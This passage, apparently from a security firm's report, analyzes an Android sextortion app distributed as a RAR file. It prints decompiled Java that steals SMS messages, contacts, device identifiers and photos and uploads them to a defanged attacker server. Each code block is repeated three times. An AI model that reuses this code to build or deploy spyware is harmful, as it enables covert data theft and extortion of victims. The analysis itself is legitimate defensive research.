上記のような事例で実際に使用されているセクストーション(身体カメラフィッシング)悪性アプリを収集し、分析を進行しました。本稿では、セクストーションで使用される様々な種類の悪性アプリの中から、SMSStealerと呼ばれる悪性アプリが使用されました。
3.1. 分析ファイル情報
내 영상.avr.rar(MD5 : E37304CB18BE94741D1A351D54DAC2D7)
혼자만봐.apk(MD5 : 3BD9CAAC7AE8EB77CB1910EAD489724A)
分析された悪性アプリは、「내영상av.rar(私の動画av.rar)」というrar圧縮ファイルの形式で配布されたと見られます。該当ファイルの圧縮を解凍すると、「혼자만봐.apk(一人だけで見て.apk)」ファイルを確認できます。このサンプル情報は、実際の状況で使用された悪性アプリです。
3.2. 悪意ある行為の分析
実行画面
![[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부](https://framerusercontent.com/images/ZrFzjJPQn5d1tfceAvBQfNAVAE.png)
[図 2] 悪性アプリ実行時に切り替わる画面の一部
悪性アプリの実行時、以下のような画面と、正常な使用のためにすべての権限の許可を要求する通知ウィンドウが表示されます。ここで、すべての権限を許可してしまうと、被害者の携帯電話からデータを盗み出す行為が可能になります。攻撃者はデータを奪取するために、合法的な手続きであるかのように装って権限の許可を誘導しており、分析された悪性アプリでは正常な使用を名目に権限を許可させるよう誘導したと推定されます。
悪性アプリの要求権限
該当の悪性アプリが要求する権限は以下の通りです。
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
悪性アプリの要求権限 — 詳細説明

[表 1] 悪性アプリで使用される権限
セクストーション悪性アプリの代表的な4つの悪意ある行為
SMS(テキストメッセージ)の奪取
連絡先の奪取
携帯電話の端末情報の奪取
写真および動画の奪取
SMS(テキストメッセージ)の奪取
被害者のスマートフォンに保存されているSMS(テキストメッセージ)を奪取する行為に関するコードは以下の通りです。奪取後、攻撃者のサーバーへ送信します。
ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}
連絡先の奪取
被害者のスマートフォンに保存されている連絡先データを攻撃者のサーバーへ送信する行為のコードは以下の通りです。このような機能を利用して、攻撃者は被害者の連絡先に登録されているすべての人々に対して、淫乱な映像を流布すると脅迫することができます。
public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}
スマートフォン端末情報の奪取
スマートフォンの固有番号(IMEI)をはじめとするデバイス機器の種類に関するデータも収集する部分を確認できます。
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}
public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}
public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}
public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}
写真および動画의 奪取
スマートフォン内部のアルバムにアクセスし、動画および写真データを収集することができます。
...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}3.3 特記事項
特記事項 1 : ワクチン検知の回避
収集されたサンプルのうち一部のサンプルは、dexprotectorのようなコード保護プログラム(プロテクター)によって保護されていました。これは、ワクチンプログラムによる検知を回避したり、分析コストを上げたりするためであると推定されます。
特記事項 2 : データ収集サーバーURLの確認
収集されたサンプルを確認している最中、情報収集サーバーのURL/IPだけが異なる多数のケースも確認できました。これらのサンプルはすべて同一の共通パスを持っていました。

[表 2] 共通のパスを持つ悪性アプリ情報収集URL/IP
public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)